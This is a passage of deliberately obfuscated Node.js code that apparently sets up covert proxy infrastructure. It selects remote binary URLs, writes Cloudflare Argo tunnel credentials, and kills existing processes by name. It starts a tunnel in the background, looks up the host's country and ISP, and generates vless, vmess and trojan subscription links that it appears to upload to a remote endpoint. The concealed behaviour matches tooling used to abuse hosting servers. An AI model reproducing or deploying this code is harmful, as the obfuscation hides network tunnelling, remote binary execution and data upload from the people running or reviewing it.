_0x5b21de=_0x1c9ca5[_0xbf0e50(0x517,0x4c3,0x3af,0x4cd)](_0x37de21,_0xbf0e50(0x2ed,0x227,0x398,0x29f))?_0x10a3dc(0x4e9,0x308,0x40a,0x460)+'m64.ssss.n'+_0x10a3dc(0x5e5,0x471,0x442,0x59a):_0x1c9ca5[_0x10a3dc(0x3b9,0x393,0x3bb,0x369)],_0x3ebab6={};_0x3ebab6[_0xbf0e50(0x4f5,0x3e1,0x4d9,0x643)]=phpPath,_0x3ebab6['fileUrl']=_0x5b21de,_0x153588[_0xbf0e50(0x54e,0x4db,0x4bb,0x3dd)](_0x3ebab6);}}return _0x153588;}function argoType(){const _0x362648={};_0x362648[_0x239974(0x26e,0x147,0x2bc,0xf)]=function(_0x380210,_0xb383a1){return _0x380210||_0xb383a1;},_0x362648[_0x5f00aa(-0xb7,0x4b,-0x1eb,-0x76)]=function(_0x105791,_0x432c70){return _0x105791===_0x432c70;},_0x362648[_0x239974(0x25,-0x7d,-0x142,0xe5)]=_0x239974(0xf2,0x1ef,0x162,0x25b),_0x362648['KyaRk']=_0x239974(0x25d,0x204,0x90,0xaf)+_0x5f00aa(0x7b,0x13b,0x8e,0xc7)+_0x5f00aa(-0x242,-0x1a7,-0x1ed,-0x1e4)+_0x5f00aa(0x92,-0x84,-0x146,-0x97)+_0x5f00aa(-0xae,0xc7,0xa7,-0x6e)+'ls',_0x362648[_0x5f00aa(-0x4a,0x13a,0xb1,-0x31)]='TunnelSecr'+'et',_0x362648[_0x5f00aa(0xf7,0x47,0x14c,0xb6)]='tunnel.jso'+'n',_0x362648[_0x5f00aa(-0xa9,-0x22,0x1d1,0x6f)]=_0x5f00aa(-0x26c,-0x150,-0x2d0,-0x1e7);function _0x239974(_0x3cb747,_0x199c24,_0x5df84d,_0x143de4){return _0x362290(_0x3cb747-0xf1,_0x199c24-0x36,_0x5df84d,_0x199c24- -0x2de);}const _0x380b9d=_0x362648;if(_0x380b9d[_0x5f00aa(-0xc7,-0x19b,0x76,-0x24)](!ARGO_AUTH,!ARGO_DOMAIN)){if(_0x380b9d[_0x239974(0x6f,0xf5,0x75,0x13c)](_0x5f00aa(0xc8,0x16a,0xbe,0x84),_0x380b9d[_0x239974(-0x145,-0x7d,0xa8,-0xc1)])){console[_0x5f00aa(0x8c,0xcd,0x107,0x37)](_0x380b9d['KyaRk']);return;}else{if(_0x1399ff[_0x5f00aa(-0x107,-0x24f,-0x2d3,-0x213)]){if(_0x78b566['response'][_0x239974(0x8e,0xb7,0x66,0x29)]===0x35c+0xece+0x1*-0x109a){}}}}function _0x5f00aa(_0x1fada0,_0x1afe93,_0x14d77f,_0x4319df){return _0x362290(_0x1fada0-0x5f,_0x1afe93-0x135,_0x1afe93,_0x4319df- -0x449);}if(ARGO_AUTH[_0x5f00aa(0xa1,-0x67,-0x116,-0xb1)](_0x380b9d[_0x239974(-0x13,0x13a,-0x2a,0x1a2)])){fs[_0x239974(0x3f,0x8,0x1,0xe1)+_0x239974(0x90,-0x1c,0x123,0x5f)](path[_0x5f00aa(-0x1e1,-0x11a,-0x1a2,-0x165)](FILE_PATH,_0x380b9d['LLZEs']),ARGO_AUTH);const _0x3ce11f=_0x5f00aa(-0x61,-0x19e,-0x19b,-0x27)+'\x20'+ARGO_AUTH[_0x239974(-0x154,-0x82,-0x1cc,-0x25)]('\x22')[0x874*-0x1+0x570+-0x30f*-0x1]+(_0x239974(-0xd6,-0x5b,-0x51,0x1d)+'ials-file:'+'\x20')+path[_0x5f00aa(-0x108,-0x81,-0x287,-0x165)](FILE_PATH,_0x380b9d[_0x239974(0x1df,0x221,0xd5,0x2a7)])+(_0x5f00aa(-0x14b,-0x18a,-0x116,-0x108)+'l:\x20http2\x0a\x20'+_0x239974(0xe2,-0x3b,-0x18e,-0x104)+_0x5f00aa(0x7c,-0x1f,0x31,-0x16)+_0x239974(0x210,0xd7,0x18,-0x4b))+ARGO_DOMAIN+(_0x239974(0x28,0x194,0xd8,0x28c)+_0x5f00aa(0x12d,0x102,-0x128,0x2)+_0x239974(0x1af,0x180,0x18a,0x262)+_0x5f00aa(-0x2d8,-0x15b,-0x2d3,-0x16d))+ARGO_PORT+(_0x239974(0x1f5,0x141,0xaa,0x10)+'ginRequest'+_0x239974(0xd7,-0x48,0xf5,0x89)+_0x239974(0x18f,0x1c0,0xcd,0xc9)+_0x239974(-0x195,-0x72,-0x1da,-0x7c)+_0x239974(0xc1,0x1eb,0x8d,0xbb)+_0x239974(0x1d7,0x1e0,0x101,0x220)+_0x5f00aa(-0x103,-0x64,-0x1da,-0x1bb)+'\x20');fs['writeFileS'+_0x5f00aa(-0x1e3,-0x263,-0x202,-0x187)](path[_0x5f00aa(-0x1c9,-0x22c,-0xc2,-0x165)](FILE_PATH,_0x5f00aa(-0x15a,-0x80,-0x222,-0x1b0)),_0x3ce11f);}else{if(_0x239974(0x137,0x10f,-0x52,0x261)===_0x380b9d[_0x239974(0xda,0x1da,0x21c,0xd1)]){const _0x24af00={};_0x24af00[_0x239974(0x1c8,0x1d4,0x17f,0x17e)]=!![],_0x4f5da7[_0x239974(0x245,0x124,0x1af,0x5c)](_0x356bc6,_0x24af00);}else console['log']('Using\x20toke'+_0x5f00aa(0x67,-0x51,-0x176,-0xdf)+_0x239974(0x2c5,0x20d,0x11d,0x1ab)+_0x5f00aa(-0x13b,-0x96,-0x34,-0x14f)+'t\x20'+ARGO_PORT+(_0x239974(0x2b1,0x218,0x102,0x26b)+'flare'));}}async function extractDomains(){function _0x3a1e32(_0x142284,_0x4c02a3,_0x496b71,_0x7705db){return _0x364cea(_0x142284-0x1be,_0x7705db,_0x4c02a3-0x164,_0x7705db-0x9b);}function _0xe515e6(_0x1acde4,_0x5d47dc,_0x2cd22d,_0x360313){return _0x364cea(_0x1acde4-0x16f,_0x360313,_0x1acde4-0x26e,_0x360313-0xb9);}const _0x54f55={'inYNv':function(_0x58c1a5,_0x25822d){return _0x58c1a5===_0x25822d;},'XzMwf':_0xe515e6(-0x8,0xd0,0x139,0x10d),'VKrHb':function(_0x208801,_0x507686){return _0x208801!==_0x507686;},'nWgVc':_0xe515e6(0x1b7,0x2e2,0x1a5,0x310),'DmhoP':_0x3a1e32(-0x14a,-0x175,-0x248,-0x10c),'EledL':function(_0x5ce72d,_0x25be38){return _0x5ce72d(_0x25be38);},'RDDLX':'Thank\x20you\x20'+_0x3a1e32(-0xd8,-0xe0,-0x111,-0xd8)+_0xe515e6(0x8e,-0x57,0x63,0x188)+_0xe515e6(0x199,0x148,0x1e6,0x48),'PmfAV':function(_0xb3a959,_0xf6475b,_0x3ff42c){return _0xb3a959(_0xf6475b,_0x3ff42c);},'ZMsSX':function(_0x2ec6d2,_0x3f4be7){return _0x2ec6d2&&_0x3f4be7;},'vEAFg':function(_0x49f0c1,_0x50c038){return _0x49f0c1>_0x50c038;},'qgPBx':'ArgoDomain'+':','HbRbw':function(_0x3eebbb,_0x45b791){return _0x3eebbb(_0x45b791);},'qHPqc':_0xe515e6(0x17,0x16,-0x12f,-0x10d),'hCSFi':'ArgoDomain'+_0x3a1e32(-0x136,0x1c,-0x62,0x18b)+',\x20re-runni'+_0x3a1e32(-0x177,-0xa2,-0x1ac,0x93)+'obtain\x20Arg'+_0xe515e6(0x84,-0x81,0xb0,0x3e),'xygou':function(_0x5041dd){return _0x5041dd();},'JOYpn':_0xe515e6(0x1e6,0x1bd,0x1ce,0x260)};let _0x4f1a54;if(_0x54f55[_0x3a1e32(-0x166,-0x87,-0x1d4,-0x1be)](ARGO_AUTH,ARGO_DOMAIN))_0x4f1a54=ARGO_DOMAIN,console['log'](_0xe515e6(0x252,0x19c,0x23f,0x2a0)+'N:',_0x4f1a54),await _0x54f55[_0x3a1e32(0xc9,0x16b,0x120,0x12f)](generateLinks,_0x4f1a54);else try{const _0x30d895=fs[_0xe515e6(0x1ba,0x285,0x31d,0xc8)+'nc'](path['join'](FILE_PATH,_0x3a1e32(-0x61,0x6a,0x132,0x2d)),_0xe515e6(0x1b9,0x2d7,0x2d1,0xa0)),_0x4d177d=_0x30d895['split']('\x0a'),_0x66b766=[];_0x4d177d[_0xe515e6(0x218,0x110,0x283,0x2d6)](_0x6ed3eb=>{function _0x2f5d5c(_0x57a643,_0x285113,_0x442ebf,_0x3fdcff){return _0xe515e6(_0x442ebf-0x13e,_0x285113-0x1d4,_0x442ebf-0x8d,_0x3fdcff);}const _0x2d85f9=_0x6ed3eb['match'](/https?:\/\/([^ ]*trycloudflare\.com)\/?/);if(_0x2d85f9){const _0x3d0d93=_0x2d85f9[-0x2*-0x16f+-0x1718+0x143b];_0x66b766[_0x2f5d5c(0x4a3,0x439,0x38e,0x3c3)](_0x3d0d93);}});if(_0x54f55['vEAFg'](_0x66b766[_0xe515e6(0x64,-0x9e,-0xc,-0xcc)],-0x9ce+0x246a+-0x1*0x1a9c))_0x4f1a54=_0x66b766[-0x1*0x577+-0xfbc*0x1+-0x51*-0x43],console['log'](_0x54f55[_0x3a1e32(-0x41,-0x160,-0x8,-0x46)],_0x4f1a54),await _0x54f55[_0x3a1e32(-0x20f,-0x105,0x1,-0xbd)](generateLinks,_0x4f1a54);else{if(_0x54f55[_0xe515e6(0x11f,0x1d5,-0x4e,0x22b)]===_0x54f55[_0xe515e6(0x11f,0x59,0x1e2,0x1ee)]){console['log'](_0x54f55[_0x3a1e32(0x12b,-0x19,-0x143,-0x93)]),fs[_0x3a1e32(0xff,0xbf,-0x6e,0x61)](path[_0xe515e6(0x54,-0xb2,-0xf7,-0xea)](FILE_PATH,_0xe515e6(0x174,0xb1,0x20d,0x1ab)));async function _0x15eb54(){function _0x3b1748(_0x43cf1b,_0x1596f2,_0x2bdd4f,_0x4e573c){return _0x3a1e32(_0x43cf1b-0xf0,_0x1596f2-0x258,_0x2bdd4f-0x1b1,_0x2bdd4f);}function _0x5ae2e3(_0x413442,_0x300210,_0x34d437,_0x560281){return _0xe515e6(_0x300210-0x494,_0x300210-0x3c,_0x34d437-0x32,_0x34d437);}try{if(process[_0x3b1748(0x208,0x244,0x1aa,0x2bd)]===_0x54f55[_0x5ae2e3(0x508,0x44e,0x301,0x406)]){if(_0x54f55[_0x5ae2e3(0x5b8,0x575,0x506,0x50d)](_0x54f55['nWgVc'],_0x54f55[_0x3b1748(0x26e,0x16c,0x6e,0x56)]))await _0x54f55[_0x5ae2e3(0x641,0x709,0x5ee,0x80e)](exec,_0x5ae2e3(0x6c5,0x59f,0x6dd,0x633)+_0x3b1748(0x416,0x2a3,0x212,0x363)+botName+(_0x5ae2e3(0x537,0x568,0x5ce,0x466)+_0x3b1748(0x83,0x138,0x88,0x2a7)));else{if(_0x54f55['inYNv'](_0x5c04d9[_0x5ae2e3(0x57c,0x43a,0x2c4,0x3eb)][_0x3b1748(0x135,0x253,0x2ed,0x1cb)],-0x2*-0x517+0x11b7+-0x1a55)){}}}else await _0x54f55[_0x3b1748(0x4a8,0x3c3,0x465,0x3da)](exec,'pkill\x20-f\x20\x22'+'['+botName[_0x3b1748(0x269,0x3a6,0x31f,0x39e)](-0x1*0x21df+0x17e1*0x1+0x9fe)+']'+botName['substring'](-0xf57+-0x1008+0x1f60)+(_0x3b1748(0xcc,0x21f,0x2e7,0x2ab)+_0x3b1748(0x28b,0x1b4,0x160,0x58)));}catch(_0x842a17){}}_0x54f55[_0x3a1e32(0x231,0x16d,0x2ab,0x1de)](_0x15eb54),await new Promise(_0x4dae30=>setTimeout(_0x4dae30,-0x2a7+-0x1274+0x20d3));const _0x125c60='tunnel\x20--e'+_0x3a1e32(0x188,0xd5,0x21,-0x8f)+_0x3a1e32(0x276,0x103,0x24c,0x52)+'--no-autou'+_0xe515e6(0x24b,0x1f2,0x13b,0x151)+_0x3a1e32(0xd5,0x47,0x133,-0xdf)+_0x3a1e32(-0x99,0xd2,0x221,0x207)+_0xe515e6(0x166,0x188,0x2d9,0xc7)+FILE_PATH+(_0x3a1e32(0x148,0xd4,0xab,0x13c)+_0xe515e6(0xe,0xd,-0x72,0x6a)+_0x3a1e32(0xd1,0x6f,0x18e,-0x7a)+'l\x20http://l'+_0x3a1e32(0xb0,0xaa,0xd5,0x10c))+ARGO_PORT;try{await exec(_0x3a1e32(-0xef,0x89,-0x42,0x17b)+botPath+'\x20'+_0x125c60+(_0xe515e6(0x16f,0x16c,0x156,0x1fd)+'l\x202>&1\x20&')),console[_0x3a1e32(0x83,0xe6,0x24a,0x41)](botName+('\x20is\x20runnin'+'g')),await new Promise(_0x5411dc=>setTimeout(_0x5411dc,-0x9bd+0x24*0x6c+-0x645*-0x1)),await extractDomains();}catch(_0xd11ecb){console['error'](_0x3a1e32(0x49,-0xad,-0x2,-0x25)+_0xe515e6(0x8d,0x6f,0x185,0xe3)+_0xe515e6(0xab,0x5,0x9a,-0x4d)+_0xd11ecb);}}else{const _0x5468ab={};_0x5468ab['rsDoM']=_0xe515e6(0x216,0xe8,0xd5,0x25a)+_0x3a1e32(-0xfd,-0x152,-0xc5,-0x12e),_0x5468ab[_0xe515e6(0x26e,0x106,0x186,0x132)]=_0x54f55[_0x3a1e32(-0x1ee,-0xbc,0x5b,-0x10f)];const _0x49b345=_0x5468ab;_0x54f55[_0xe515e6(0x75,0x1ac,-0xa3,0x14e)](_0x3029f9,_0xe515e6(0x243,0x366,0x298,0x2f0)+_0x32fadf['join']('\x20')+('\x20>\x20nul\x202>&'+'1'),_0x583b43=>{function _0x5557b7(_0x1656eb,_0x5ab49f,_0x55a7a5,_0x55d927){return _0x3a1e32(_0x1656eb-0xaa,_0x5ab49f-0x377,_0x55a7a5-0x1ba,_0x55d927);}_0x4e91fe['clear']();function _0x616c17(_0x4bdfbb,_0x71c36f,_0x488047,_0x1bdcc6){return _0x3a1e32(_0x4bdfbb-0x1b8,_0x1bdcc6-0x491,_0x488047-0xdb,_0x71c36f);}_0x56ac74[_0x5557b7(0x58d,0x45d,0x353,0x3b5)](_0x49b345[_0x616c17(0x5c6,0x566,0x547,0x45e)]),_0x3ab23e['log'](_0x49b345['CqWIN']);});}}}catch(_0x2af375){if(_0x54f55[_0xe515e6(0x1dd,0x10a,0x12e,0x330)](_0x3a1e32(0x6b,-0xe7,-0x18e,-0x1c),_0x54f55['JOYpn']))return null;else console['error'](_0xe515e6(0x90,0x1e4,-0x3,0xf5)+_0xe515e6(-0x17,-0xde,0x17,0x158)+'og:',_0x2af375);}}async function getMetaInfo(){const _0x353a2a={'nmgQn':_0x120f5e(0x507,0x512,0x660,0x422)+_0x47ab96(-0x22a,-0xfe,-0x1bd,-0x221),'hKEyj':_0x120f5e(0x45a,0x41d,0x328,0x430)+_0x120f5e(0x3c6,0x326,0x1f2,0x268)+_0x120f5e(0x36d,0x38a,0x2de,0x47c)+_0x47ab96(-0x49,-0x63,-0xe9,-0x131),'SVSjE':function(_0x3e0724,_0x4aba31){return _0x3e0724(_0x4aba31);},'nbBjc':'Mozilla/5.'+'0','WkKIF':function(_0x852b25,_0x1bdfb4){return _0x852b25!==_0x1bdfb4;},'gAZec':_0x120f5e(0x3d3,0x442,0x503,0x34f),'cSZQe':_0x47ab96(-0x134,-0x7c,0xf,-0x1a8),'TCGGj':_0x47ab96(-0xa,0x15a,-0x88,0x2c)+_0x120f5e(0x20b,0x35e,0x4c8,0x446)+'on','CbzrV':function(_0x5c6f5a,_0x5a42b1){return _0x5c6f5a===_0x5a42b1;},'ZVOJw':_0x120f5e(0x4cd,0x400,0x4d6,0x3bb),'PvNFh':_0x120f5e(0x5ec,0x4ab,0x623,0x4d8),'YYooo':_0x47ab96(0x71,0x179,0xfe,-0x34)};function _0x120f5e(_0xb5c995,_0x3c5390,_0x3024d7,_0x599825){return _0x362290(_0xb5c995-0x195,_0x3c5390-0x1d6,_0x599825,_0x3c5390-0x6c);}try{const _0x402d59={};_0x402d59[_0x120f5e(0x59f,0x453,0x580,0x580)]=_0x353a2a[_0x120f5e(0x695,0x55c,0x5da,0x515)],_0x402d59[_0x120f5e(0x278,0x38f,0x357,0x33d)]=0xbb8;const _0x34effb={};_0x34effb[_0x47ab96(-0x166,-0x55,-0x291,-0x164)]=_0x402d59;const _0x3a0641=await axios[_0x47ab96(-0x117,-0xef,-0x61,-0x69)](_0x120f5e(0x551,0x438,0x352,0x40a)+_0x47ab96(-0x12b,-0x7f,-0x188,-0x1c3)+_0x120f5e(0x5d6,0x551,0x660,0x5e9),_0x34effb);if(_0x3a0641[_0x120f5e(0x322,0x3a4,0x3b0,0x240)]&&_0x3a0641[_0x120f5e(0x3f1,0x3a4,0x24a,0x34a)][_0x120f5e(0x399,0x466,0x4f9,0x5ca)+'de']&&_0x3a0641[_0x47ab96(-0x13a,-0xcb,-0x72,-0x101)][_0x47ab96(-0x119,-0xa7,-0x202,-0x23b)]){if(_0x353a2a[_0x47ab96(-0xe8,-0x1dd,-0x16c,0x70)](_0x353a2a[_0x47ab96(-0xc6,-0x110,-0x62,-0x5a)],_0x353a2a[_0x47ab96(-0xc6,-0x19,-0x1fc,-0x1d)]))_0x431100[_0x120f5e(0x59b,0x4c3,0x5f4,0x516)](_0x47ab96(-0x185,-0x2c9,-0x13e,-0x3b)+_0x47ab96(-0x155,-0xa,-0x2c4,-0x1cc)+_0x120f5e(0x39e,0x3a7,0x51b,0x4b2)+_0x4a5fe1);else return(_0x3a0641[_0x47ab96(-0x13a,-0x178,-0x22c,0x5)]['country_co'+'de']+'-'+_0x3a0641[_0x47ab96(-0x13a,-0x1c4,-0x10a,-0x272)][_0x47ab96(-0x119,-0x64,-0x85,-0x41)])[_0x120f5e(0x386,0x45e,0x526,0x56a)](/\s+/g,'_');}}catch(_0x1eab23){if(_0x120f5e(0x411,0x4c1,0x441,0x4f8)!==_0x353a2a['cSZQe'])try{const _0x2f4454=await axios[_0x120f5e(0x52e,0x3c7,0x4d9,0x477)](_0x353a2a[_0x120f5e(0x50d,0x505,0x4b3,0x566)],{'headers':{'User-Agent':_0x353a2a[_0x120f5e(0x67a,0x55c,0x40c,0x493)],'timeout':0xbb8}});if(_0x2f4454[_0x120f5e(0x3a3,0x3a4,0x503,0x38a)]&&_0x353a2a[_0x120f5e(0x413,0x467,0x53c,0x370)](_0x2f4454[_0x120f5e(0x344,0x3a4,0x41b,0x431)][_0x47ab96(-0xdd,-0x132,0x4f,0x6c)],_0x353a2a[_0x120f5e(0x1b7,0x2f7,0x360,0x318)])&&_0x2f4454['data']['countryCod'+'e']&&_0x2f4454['data'][_0x120f5e(0x535,0x419,0x426,0x4f8)]){if(_0x353a2a[_0x47ab96(-0x201,-0x264,-0x259,-0x1f5)]===_0x120f5e(0x477,0x4ab,0x3bc,0x39b))return(_0x2f4454[_0x120f5e(0x512,0x3a4,0x40b,0x434)][_0x47ab96(0x9b,0x1ab,0x1c7,0x187)+'e']+'-'+_0x2f4454['data']['org'])[_0x47ab96(-0x80,-0x186,-0x1c4,-0x16c)](/\s+/g,'_');else _0x5667c7['clear'](),_0x80ccb8['log'](_0x353a2a['nmgQn']),_0x2d7d8b[_0x47ab96(0xe,-0xf7,0x64,-0x67)](_0x353a2a['hKEyj']);}}catch(_0x1cfb86){}else{_0x18ea03[_0x47ab96(-0xcc,-0x1fa,-0x15a,0x0)](_0x490d86,()=>{});const _0x445b7c='Download\x20'+_0x27d16c[_0x47ab96(-0x1fa,-0xae,-0x10e,-0x1a0)](_0x1cbfd3)+_0x120f5e(0x4bc,0x543,0x5f3,0x57b)+_0x5bc3de['message'];_0x3eb91c[_0x120f5e(0x381,0x4c3,0x466,0x57c)](_0x445b7c),_0x353a2a[_0x47ab96(0x44,0x53,-0x64,0x74)](_0x58d96b,_0x445b7c);}}function _0x47ab96(_0xc0764c,_0x21a92b,_0x30e237,_0x17088b){return _0x362290(_0xc0764c-0xef,_0x21a92b-0x125,_0x17088b,_0xc0764c- -0x472);}return _0x353a2a[_0x120f5e(0x665,0x508,0x39c,0x51c)];}async function generateLinks(_0x3b1432){const _0x57482e={'yHamd':function(_0x557dbd,_0x418f07){return _0x557dbd===_0x418f07;},'swBNF':_0x459f35(0x5b0,0x638,0x39d,0x4ee),'HDhPg':_0x459f35(0x637,0x51b,0x4e1,0x580),'KTsln':_0x1b5649(0x3ec,0x1e0,0x429,0x2e7),'ERzEK':_0x1b5649(0x35c,0x329,0x238,0x2d5),'MGhOy':_0x1b5649(0x389,0x2c6,0xb2,0x22a),'lKJGK':function(_0x44e596){return _0x44e596();},'kjycI':function(_0xa451db,_0x113011){return _0xa451db(_0x113011);},'sZXLq':function(_0x5edf90,_0x4ee5b6,_0x84dab3){return _0x5edf90(_0x4ee5b6,_0x84dab3);}},_0x1737e6=await _0x57482e[_0x459f35(0x677,0x6b4,0x5f7,0x657)](getMetaInfo);function _0x1b5649(_0x1e1f43,_0x774fe5,_0x19fdb6,_0x51b50c){return _0x364cea(_0x1e1f43-0xd,_0x1e1f43,_0x51b50c-0x2ec,_0x51b50c-0x73);}const _0x351955=NAME?NAME+'-'+_0x1737e6:_0x1737e6;function _0x459f35(_0x5778d7,_0x4707a5,_0x5dd5b0,_0x2dda40){return _0x364cea(_0x5778d7-0x2b,_0x4707a5,_0x2dda40-0x709,_0x2dda40-0x1e3);}return new Promise(_0x20c94b=>{const _0x228791={'NHUUn':function(_0x32f6f6,_0x28a9cf){return _0x57482e['kjycI'](_0x32f6f6,_0x28a9cf);}};function _0x52de32(_0x5058f0,_0x2c21b3,_0x3d86da,_0x13d600){return _0x1b5649(_0x3d86da,_0x2c21b3-0xa6,_0x3d86da-0x81,_0x5058f0-0x270);}_0x57482e[_0x52de32(0x2e8,0x25f,0x33a,0x346)](setTimeout,()=>{function _0x2bf2cb(_0x4f48ec,_0x196956,_0x62a0e6,_0x370041){return _0x52de32(_0x370041- -0x25c,_0x196956-0x18c,_0x196956,_0x370041-0x69);}function _0x4a18b0(_0x2c6a88,_0x2c65e7,_0x5e9fc9,_0x3b5a78){return _0x52de32(_0x3b5a78-0x1aa,_0x2c65e7-0x171,_0x5e9fc9,_0x3b5a78-0x168);}if(_0x57482e[_0x4a18b0(0x5fb,0x5af,0x653,0x56e)](_0x57482e['swBNF'],_0x57482e['HDhPg']))_0x19e707?_0x228791[_0x2bf2cb(0x10e,0x73,0xe6,0x1ab)](_0x338c87,_0x534085):_0x382478(_0x5701d6);else{const _0x23d40e={};_0x23d40e['v']='2',_0x23d40e['ps']=''+_0x351955,_0x23d40e[_0x2bf2cb(0x2f8,0x310,0x3c7,0x297)]=CFIP,_0x23d40e[_0x4a18b0(0x5a8,0x52b,0x69f,0x556)]=CFPORT,_0x23d40e['id']=UUID,_0x23d40e[_0x2bf2cb(-0x1c,-0x3f,0x51,0xb7)]='0',_0x23d40e[_0x4a18b0(0x6f0,0x761,0x5c6,0x697)]=_0x57482e['KTsln'],_0x23d40e[_0x2bf2cb(0x1e2,0x186,0x180,0x162)]='ws',_0x23d40e[_0x2bf2cb(-0xac,0x117,-0x92,0x84)]=_0x57482e[_0x4a18b0(0x593,0x6cb,0x56b,0x59a)],_0x23d40e[_0x2bf2cb(-0x8f,0xc1,0x9d,0xa8)]=_0x3b1432,_0x23d40e[_0x4a18b0(0x45d,0x6af,0x66b,0x58f)]='/vmess-arg'+_0x4a18b0(0x4ca,0x610,0x5a2,0x522),_0x23d40e['tls']=_0x4a18b0(0x699,0x4bf,0x5e5,0x5b8),_0x23d40e[_0x2bf2cb(-0xc,0xfa,0x5f,0x12b)]=_0x3b1432,_0x23d40e[_0x4a18b0(0x709,0x4f3,0x5da,0x61f)]='',_0x23d40e['fp']=_0x4a18b0(0x62b,0x63c,0x50d,0x66c);const _0x6d10c6=_0x23d40e,_0xc6e3b1='\x0avless://'+UUID+'@'+CFIP+':'+CFPORT+(_0x2bf2cb(0xd8,0x15,0x10c,0x34)+'n=none&sec'+_0x4a18b0(0x472,0x74e,0x491,0x5d6)+_0x2bf2cb(0x26a,0x2d2,0x26d,0x254))+_0x3b1432+('&fp=firefo'+_0x4a18b0(0x498,0x53a,0x526,0x443)+_0x4a18b0(0x3e2,0x40a,0x4d9,0x430))+_0x3b1432+(_0x4a18b0(0x346,0x59d,0x36b,0x485)+_0x2bf2cb(0x261,0xe,0xc0,0x106)+_0x2bf2cb(0x26b,0x3b1,0x274,0x2ae)+'0#')+_0x351955+'\x0a\x0avmess://'+Buffer[_0x2bf2cb(0x1b4,0x1e4,0x143,0x243)](JSON[_0x2bf2cb(0x20b,0x301,0x2ff,0x265)](_0x6d10c6))[_0x2bf2cb(0x455,0x29c,0x190,0x2fe)](_0x57482e[_0x4a18b0(0x420,0x462,0x594,0x524)])+(_0x2bf2cb(0x199,-0x67,0x188,0x44)+'/')+UUID+'@'+CFIP+':'+CFPORT+(_0x2bf2cb(0x375,0x2d2,0x2c0,0x215)+_0x2bf2cb(0x188,0x127,0x12e,0x23a))+_0x3b1432+(_0x4a18b0(0x655,0x709,0x5c5,0x60e)+_0x2bf2cb(-0x91,0x45,-0xcb,0x3d)+_0x4a18b0(0x5a5,0x309,0x3f3,0x430))+_0x3b1432+(_0x4a18b0(0x647,0x5ff,0x687,0x57e)+'rojan-argo'+_0x4a18b0(0x50f,0x4ea,0x74b,0x633)+_0x2bf2cb(0x2e3,0x1b6,0x23d,0x2ca))+_0x351955+_0x2bf2cb(0x3ca,0x2c8,0x115,0x261);console[_0x2bf2cb(0x371,0x363,0x367,0x282)](Buffer[_0x2bf2cb(0x134,0x1f0,0x38d,0x243)](_0xc6e3b1)[_0x4a18b0(0x835,0x6b3,0x65a,0x704)](_0x57482e[_0x2bf2cb(0x17f,0x26,0x37,0x11e)])),fs['writeFileS'+'ync'](subPath,Buffer[_0x2bf2cb(0x317,0x11a,0x2d4,0x243)](_0xc6e3b1)[_0x2bf2cb(0x1f1,0x445,0x225,0x2fe)](_0x2bf2cb(0x362,0x2fe,0x321,0x23e))),console[_0x4a18b0(0x6e4,0x7db,0x6bf,0x688)](FILE_PATH+(_0x2bf2cb(0x206,0x250,0x31d,0x2d7)+_0x2bf2cb(0x2ca,0xe7,0x2cf,0x180)+_0x4a18b0(0x609,0x6c3,0x5f9,0x59e))),subContent=Buffer[_0x2bf2cb(0x382,0x1ed,0x307,0x243)](_0xc6e3b1)[_0x4a18b0(0x6e3,0x7b9,0x7fd,0x704)](_0x57482e[_0x4a18b0(0x496,0x530,0x690,0x524)]),_0x57482e[_0x2bf2cb(0x31a,0x1cd,0xee,0x24e)](uploadNodes),_0x57482e[_0x2bf2cb(0x12c,0x117,0x353,0x240)](_0x20c94b,_0xc6e3b1);}},-0x148f+-0x1410+0x306f);});}async function uploadNodes(){const _0x1f9276={'rZSLy':_0x23f8a9(-0x350,-0x2b2,-0x184,-0x2c9)+_0x23f8a9(-0x22e,-0x1d6,-0x18b,-0xbd)+_0x48b7d5(0x20d,0x16c,0x89,0x297),'xRdgH':_0x23f8a9(0xe1,-0xca,-0x58,-0x4d),'aPlyn':_0x48b7d5(-0x88,0x56,0x1cc,-0x22)+_0x48b7d5(0x199,0x3d,0x2f,0x116),'qFOCb':_0x23f8a9(-0x1b8,-0x214,-0x125,-0x184),'owtMo':'base64','WMpqy':function(_0x5cad24){return _0x5cad24();},'ERDHA':function(_0x4463f4,_0x37c8f9){return _0x4463f4||_0x37c8f9;},'YGjde':_0x23f8a9(-0x16b,0x6c,-0x1ad,-0x52)+_0x48b7d5(0x2c0,0x233,0x38d,0x17e)+'AUTH\x20is\x20em'+_0x23f8a9(-0x1ff,-0x1c7,-0x2e,-0x182)+_0x48b7d5(0x1e0,0xfe,0x1b5,0x107)+'ls','PIzyD':'TunnelSecr'+'et','boiSb':_0x23f8a9(-0x1d1,-0x213,-0x148,-0x257)+'n','naFtL':_0x48b7d5(0x81,-0x44,-0x18a,-0xad),'HcpZB':function(_0x21d8c6,_0xc15ff5){return _0x21d8c6===_0xc15ff5;},'CHJXA':_0x48b7d5(-0x14b,-0xb3,-0x91,-0xac),'vSWUX':'applicatio'+_0x23f8a9(-0x290,-0xfc,-0x199,-0x1c0),'tlswZ':function(_0xccc155,_0x4f6768){return _0xccc155!==_0x4f6768;},'foSgZ':_0x48b7d5(-0xbc,0x9e,0x64,0x72),'xednx':_0x23f8a9(0x14,-0x170,-0x141,-0xbb)+_0x23f8a9(-0x416,-0x26a,-0x3c8,-0x30b)+_0x23f8a9(-0x1aa,-0x16f,-0x3a1,-0x263)+'ully','fqfwH':_0x48b7d5(0x259,0x218,0x1ac,0x317),'kTWSS':_0x48b7d5(-0x57,0x5a,-0xf3,0x1c9),'vLaea':_0x48b7d5(0x26a,0x139,0x2ae,0x59),'vCQIH':function(_0x4269ee,_0x379924){return _0x4269ee===_0x379924;},'yBuVE':_0x48b7d5(0x16c,0x16c,0x292,0x1f2),'ukYXX':function(_0x2d8e46,_0x374eda){return _0x2d8e46===_0x374eda;},'ZSuiv':_0x23f8a9(-0xe8,-0x14f,-0x1c2,-0xde),'gGuHw':'qyIIX','finDR':_0x48b7d5(0x359,0x20c,0x1de,0x2f7)+_0x48b7d5(0x211,0x1de,0x9b,0x242)+_0x23f8a9(-0x70,-0xf3,-0x2a5,-0x19e),'TuXEm':function(_0x50f0e2,_0x3ee734){return _0x50f0e2===_0x3ee734;},'QTdvS':_0x23f8a9(-0x372,-0x23b,-0x1b3,-0x303)};function _0x23f8a9(_0x451b37,_0x2ad608,_0x2c4ace,_0x2018bc){return _0x364cea(_0x451b37-0xea,_0x451b37,_0x2018bc- -0x36,_0x2018bc-0x100);}function _0x48b7d5(_0x5a1be7,_0x26113d,_0x1b5ce8,_0x3408ee){return _0x362290(_0x5a1be7-0x1ab,_0x26113d-0xc3,_0x1b5ce8,_0x26113d- -0x2dd);}if(UPLOAD_URL&&PROJECT_URL){const 